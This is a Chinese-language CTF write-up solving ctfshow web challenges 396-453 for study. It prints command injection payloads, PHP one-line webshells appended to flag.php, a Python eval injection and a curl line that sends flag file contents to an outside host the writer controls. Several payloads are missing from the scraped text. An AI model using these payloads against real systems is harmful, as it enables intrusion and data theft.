web396 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );if (isset ($_GET ['url' ])){ $url = parse_url ($_GET ['url' ]); shell_exec ('echo ' .$url ['host' ].'> ' .$url ['path' ]); }else { highlight_file (__FILE__ ); }
parse_url 的解释
然后这样的话host为空,就只有path了
payload
1 2 url=http://1/1;echo `ls`>a.txt url=http://1/1;echo `cat fl0g.php`>a.txt
这里的;换成||也行
web397 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting (0 );if (isset ($_GET ['url' ])){ $url = parse_url ($_GET ['url' ]); shell_exec ('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); }else { highlight_file (__FILE__ ); }
还是不影响
payload
web398-401 一模一样的payload
payload
因为它的正则匹配都是匹配host,然而我们的payload用的不是关于host的,用的是path的,所以说host一直为空,所以这个正则就一直绕过去了
web402 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php if (isset ($_GET ['url' ])){ $url = parse_url ($_GET ['url' ]); var_dump ($url ); if (preg_match ('/http|https/i' , $url ['scheme' ])){ die ('error' ); } if (!preg_match ('/;|>|\||base/i' , $url ['host' ])){ shell_exec ('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); } }else { highlight_file (__FILE__ ); }
这里的话新增加了一个
1 2 3 if (preg_match ('/http|https/i' , $url ['scheme' ])){ die ('error' ); }
就是必须得满足这个玩意
然后scheme会匹配文件头http,所以就不能用了,那么我们就用另一个
payload
web403 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );if (isset ($_GET ['url' ])){ $url = parse_url ($_GET ['url' ]); if (preg_match ('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/' , $url ['host' ])){ shell_exec ('curl ' .$url ['scheme' ].$url ['host' ].$url ['path' ]); } }else { highlight_file (__FILE__ ); }
新增加的正则是对ip的判断,要满足才能进行命令执行
payload
web404 题目
web405 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (0 );if (isset ($_GET ['url' ])){ $url = parse_url ($_GET ['url' ]); if (preg_match ('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./' , $url ['host' ])){ if (preg_match ('/^\/[A-Za-z0-9]+$/' , $url ['path' ])){ if (preg_match ('/\~|\.|php/' , $url ['scheme' ])){ shell_exec ('curl ' .$url ['scheme' ].$url ['host' ].$url ['path' ]); } } } }else { highlight_file (__FILE__ ); echo 'parse_url 好强大' ; } parse_url 好强大
这里的话要满足host path scheme 三个条件
payload
这里是scheme://host/path
记住这个格式就好
所以就能绕过
web406 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php require 'config.php' ;highlight_file (__FILE__ );$url =$_GET ['url' ];if (filter_var ($url ,FILTER_VALIDATE_URL)){ $sql = "select * from links where url ='{$url} '" ; $result = $conn ->query ($sql ); }else { echo '不通过' ; } Notice: Undefined index: url in /var /www/html/index.php on line 17 不通过
filter_var()绕过
这里是添加了sql语句来的,与上面给的文章说的内容不同,给的文章是利用JavaScript绕过
payload
1 2 3 4 5 6 7 8 9 10 11 <?php require 'config.php' ;$sql ='select flag from flag into outfile "/var/www/html/1.txt"' ;$result = $conn ->query ($sql );var_dump ($result ); ?> 转为16 进制 http: 访问1 .txt即可 转化为16 进制绕过filter检测
这里就是先把当
就会执行sql语句,然后把payload写到4.php上,然后访问4.php就会执行payload写的语句,然后访问1.txt就行了
web407 题目
绕过的原因是非法字符可以放在双引号里面绕过检测
这里用短标签的意思是因为,不能有空格,因为有个双引号然后浏览器会把空格转义 为%20,然后因为双引号包含,最后导致写不进文件
web409 题目
1 2 3 4 5 <?php ?> "@123.com 然后post数据 1=cat /flag
会把”flag给替换成空,然后就会执行eval(system($_POST[1]);?>)
这里执行虽然会报错,但是还是能执行的
web410 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );error_reporting (0 );include ('flag.php' );$b =$_GET ['b' ];if (filter_var ($b ,FILTER_VALIDATE_BOOLEAN)){ if ($b =='true' || intval ($b )>0 ){ die ('FLAG NOT HERE' ); }else { echo $flag ; } }
参考文章
payload
web411 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );error_reporting (0 );include ('flag.php' );$b =$_GET ['b' ];if (filter_var ($b ,FILTER_VALIDATE_BOOLEAN)){ if ($b =='true' || intval ($b )>0 ||$b =='on' || $b =='ON' ){ die ('FLAG NOT HERE' ); }else { echo $flag ; } }
payload
web412 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );$ctfshow =$_POST ['ctfshow' ];if (isset ($ctfshow )){ file_put_contents ('flag.php' , '//' .$ctfshow ,FILE_APPEND); include ('flag.php' ); } Notice: Undefined index: ctfshow in /var /www/html/index.php on line 16
payload
1 ctfshow=?> <?php eval ($_POST [1 ])?> ;&1 =system (‘cat flag.php’);
因为就是题目的代码都是只有<?php 而没有结尾,所以我们就可以通过写
?>给前面代码给包含了,然后就绕过注释了,然后后面在自己加一句话木马进去到flag.php里就行了
这就是为什么不会覆盖掉原有的flag的原因
web413 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );$ctfshow =$_POST ['ctfshow' ];if (isset ($ctfshow )){ file_put_contents ('flag.php' , '/*' .$ctfshow .'*/' ,FILE_APPEND); include ('flag.php' ); } Notice: Undefined index: ctfshow in /var /www/html/index.php on line 16
原理差不多,就是绕过过滤,就是包含注释就行
payload
1 */?> <?php eval ($_POST [1 ]);
web414 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php highlight_file (__FILE__ );include ('flag.php' );$ctfshow =$_GET ['ctfshow' ];if ($ctfshow ==true ){ if (sqrt ($ctfshow )>=sqrt (intval ($flag ))){ echo 'FLAG_NOT_HERE' ; }else { echo $flag ; } } Notice: Undefined index: ctfshow in /var /www/html/index.php on line 16
这里的sqrt是计算平方根的意思
布尔值true和任意字符串都弱相等
intval($flag) ——-> 0
所以随便传个负值就行了
web415 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting (0 );highlight_file (__FILE__ );$k = $_GET [k];function getflag ( ) { echo file_get_contents ('flag.php' ); } if ($k =='getflag' ){ die ('FLAG_NOT_HERE' ); }else { call_user_func ($k ); }
== :弱等于。在比较前会先把两种字符串类型转成相同的再进行比较。简单的说,它不会比较变量类型,只比较值。
若一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。若字符串以数字开头,则取开头数字作为转换结果,不能转换为数字的字符串(例如”aaa”是不能转换为数字的字符串,而”123”或”123aa”就是可以转换为数字的字符串)或null,则转换为0
函数名、方法名、类名 不区分大小写
payload
web416 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (0 );highlight_file (__FILE__ );class ctf { public function getflag ( ) { return 'fake flag' ; } final public function flag ( ) { echo file_get_contents ('flag.php' ); } } class show extends ctf { public function __construct ($f ) { call_user_func ($f ); } } echo new show ($_GET [f]);
payload
web417 题目
这里下载下来题目给的php代码,然后解码得到
1 2 3 4 5 6 7 8 include ('flag.php' );$c =$_GET ['ctf' ];if ($c =='show' ){ echo $flag ; }else { echo 'FLAG_NOT_HERE' ; } ?>
payload
web418 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php $key = 0 ;$clear ='clear.php' ;highlight_file (__FILE__ );$ctfshow =$_GET ['ctfshow' ];include ($clear );extract ($_POST );if ($key ===0x36d ){ eval ('<?php ' .$ctfshow .'?>' ); }else { $die ?die ('FLAG_NOT_HERE' ):clear ($clear ); }
=== :强等于。在比较前会先判断两种字符串类型是否相同再进行比较,如果类型不同直接返回不相等。既比较值也比较类型。
这里有点误导让你,去写后门,但是$key===0x36d这个是强等于,0x36d 这个是integer整形,但是传的字符串却是字符型,绕不过去,所以这题用变量覆盖修改$clear就可以了,
extract ——-> 变量覆盖
payload
1 die =0 &clear=;cp flag.php flag.txt
payload的意思是,因为if那绕不过去了,所以会执行下面的语句,然后为了能执行clear($clear),所以就让$die为0,然后就可以执行到clear了
这里加的分号是为了不让rm -rf删掉文件
然后就会执行clear(rm -rf;cp flag.php flag.txt)
web419 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );$code = $_POST ['code' ];if (strlen ($code ) < 17 ){ eval ($code ); }
payload
payload2
1 code=eval($_POST[1]);&1=system('cat flag.php');
web420 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );$code = $_POST ['code' ];if (strlen ($code ) < 8 ){ system ($code ); }
这里的话是先用 ls 查找flag位置,然后用ls ../
找到了flag位置,然后直接读取
payload
web421 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );$code = $_POST ['code' ];if (strlen ($code ) < 6 ){ system ($code ); }
payload
web422 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );$code = $_POST ['code' ];if (strlen ($code ) < 5 ){ system ($code ); }
payload
web423 题目
web424(ssti) 题目
查看注释发现给了一个参数可以进行传值
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from flask import Flaskfrom flask import requestapp = Flask(__name__) @app.route('/' ) def app_index (): code = request.args.get('code' ) if code: return eval (code) return 'where is flag?<!-- /?code -->' if __name__=="__main__" : app.run(host='0.0.0.0' ,port=80 )
这里因为没有os模块了,那么直接就用open来拿到flag
payload
自己导入有个os模块也行
1 __import__ ('os' ).popen('cat app.py' ).read()
web425(过滤了os) 题目
还是一样
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from flask import Flaskfrom flask import requestapp = Flask(__name__) @app.route('/' ) def app_index (): code = request.args.get('code' ) if code: if 'os' not in code: return eval (code) return 'where is flag?<!-- /?code -->' if __name__=="__main__" : app.run(host='0.0.0.0' ,port=80 )
使用这个open 的前提是得知道文件名 这个不能使用通配符
web426(过滤了os|popen) 题目
还是不影响
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flaskfrom flask import requestimport reapp = Flask(__name__) @app.route('/' ) def app_index (): code = request.args.get('code' ) if code: reg = re.compile (r'os|popen' ) if reg.match (code)==None : return eval (code) return 'where is flag?<!-- /?code -->' if __name__=="__main__" : app.run(host='0.0.0.0' ,port=80 )
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flaskfrom flask import requestimport reapp = Flask(__name__) @app.route('/' ) def app_index (): code = request.args.get('code' ) if code: reg = re.compile (r'os|popen' ) if reg.match (code)==None : return eval (code) return 'where is flag?<!-- /?code -->' if __name__=="__main__" : app.run(host='0.0.0.0' ,port=80 )
payload
1 ?code=open ('/flag' ).read()
web427(过滤了os|popen|system) 题目
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flaskfrom flask import requestimport reapp = Flask(__name__) @app.route('/' ) def app_index (): code = request.args.get('code' ) if code: reg = re.compile (r'os|popen|system' ) if reg.match (code)==None : return eval (code) return 'where is flag?<!-- /?code -->' if __name__=="__main__" : app.run(host='0.0.0.0' ,port=80 )
payload
web428(过滤os|popen|system|read) 题目
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from flask import Flaskfrom flask import requestimport reapp = Flask(__name__) @app.route('/' ) def app_index (): code = request.args.get('code' ) if code: reg = re.compile (r'os|popen|system|read' ) if reg.match (code)==None : return eval (code) return 'where is flag?<!-- /?code -->' if __name__=="__main__" : app.run(host='0.0.0.0' ,port=80 )
因为这里是只匹配开头
payload
1 ?code=open ('/flag' ).read()
web429(ssti 过滤了os|open|system|read) 题目
代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from flask import Flaskfrom flask import requestimport reapp = Flask(__name__) @app.route('/' ) def app_index (): code = request.args.get('code' ) if code: reg = re.compile (r'os|open|system|read' ) if reg.match (code)==None : return eval (code) return 'where is flag?<!-- /?code -->' if __name__=="__main__" : app.run(host='0.0.0.0' ,port=80 )
这里匹配是只匹配了开头,所以只需要在payload前面加个空格就好了
payload
1 ?code= open('app.py').read()
web430(ssti 过滤了os|open|system|read|eval) 同 web429的做法
也是只匹配开头
web 431 ssti 过滤了过滤了os|open|system|read|eval|str 同web430
后面就是正常的过滤了,因为过滤了eval所以我们只能用exec来执行了.但是exec的返回值永远是none,所以只能用一些盲打的方法了。
web432(过滤os|open|system|read|eval)-web449都是ssti的题目 这里就不做了
web450 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );$ctfshow =$_GET ['ctfshow' ];if (preg_match ('/^[a-z]+[\^][a-z]+[\^][a-z]+$/' , $ctfshow )){ eval ("($ctfshow )();" ); } Notice: Undefined index: ctfshow in /var /www/html/index.php on line 15
payload
这里就是p和p异或,依次来异或
异或 ——-> 相同为零 不同为1
拿p^p^p
来举个例子 先是 p^p
—-> 0 然后 0^p
———-> p
就是这样了
web451 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file (__FILE__ );$ctfshow =$_GET ['ctfshow' ];if (preg_match ('/^[a-z]+[\^][a-z]+[\^][a-z]+$/' , $ctfshow )){ if (!preg_match ('/phpinfo/' , $ctfshow )){ eval ("($ctfshow )();" ); } } Notice: Undefined index: ctfshow in /var /www/html/index.php on line 15
payload
这里的异或是转化为ascii码来进行计算的
web452 题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php highlight_file (__FILE__ );$ctfshow =$_GET ['ctfshow' ];if (!preg_match ('/\'|\"|[0-9]|\{|\[|\~|\^|phpinfo|\$/i' , $ctfshow )){ eval ($ctfshow ); } Notice: Undefined index: ctfshow in /var /www/html/index.php on line 15
payload
web453 题目
先去读取一下源码
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 <?php $http = new Swoole\Http\Server ('0.0.0.0' , 80 );$http ->on ('start' , function ($server ) { echo "Swoole http server is started at http://0.0.0.0:80\n" ; }); $http ->on ('request' , function ($request , $response ) { list ($controller , $action ) = explode ('/' , trim ($request ->server['request_uri' ], '/' )); $route = array ('ctf' ); $method = array ('show' ,'file' ,'exec' ); if (in_array ($controller , $route ) && in_array ($action , $method )){ (new $controller )->$action ($request , $response ); }else { $response ->end ('<h3>where is flag?</h3><!--/ctf/show?s=XXX file_get_contents($_POST[\'s\'])-->' ); } }); $http ->start ();class ctf { public function show ($request ,$response ) { $response ->header ('Content-Type' , 'text/html; charset=utf-8' ); $s =$request ->post['s' ]; if (isset ($s )){ $response ->end (file_get_contents ($s )); }else { $response ->end ('s not found' ); } } public function file ($request ,$response ) { $response ->header ('Content-Type' , 'text/html; charset=utf-8' ); $s =$request ->post['s' ]; if (isset ($s )){ file_put_contents ('shell.php' , $s ); $response ->end ('file write done in /var/www/shell.php' ); }else { $response ->end ('s not found' ); } } public function exec ($request ,$response ) { system ('php shell.php' ); $response ->end ('command exec done' ); } }
也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php。 里面的内容大家就可以随意发挥了。 我写的是
1 <?php system ('curl http://xxx.xxx.xxx:4567?p=`cat f*`' );?>
剩下的题就不做了
去看yu师傅和Y4师傅的博客就好了
Y4wp yu2xxwp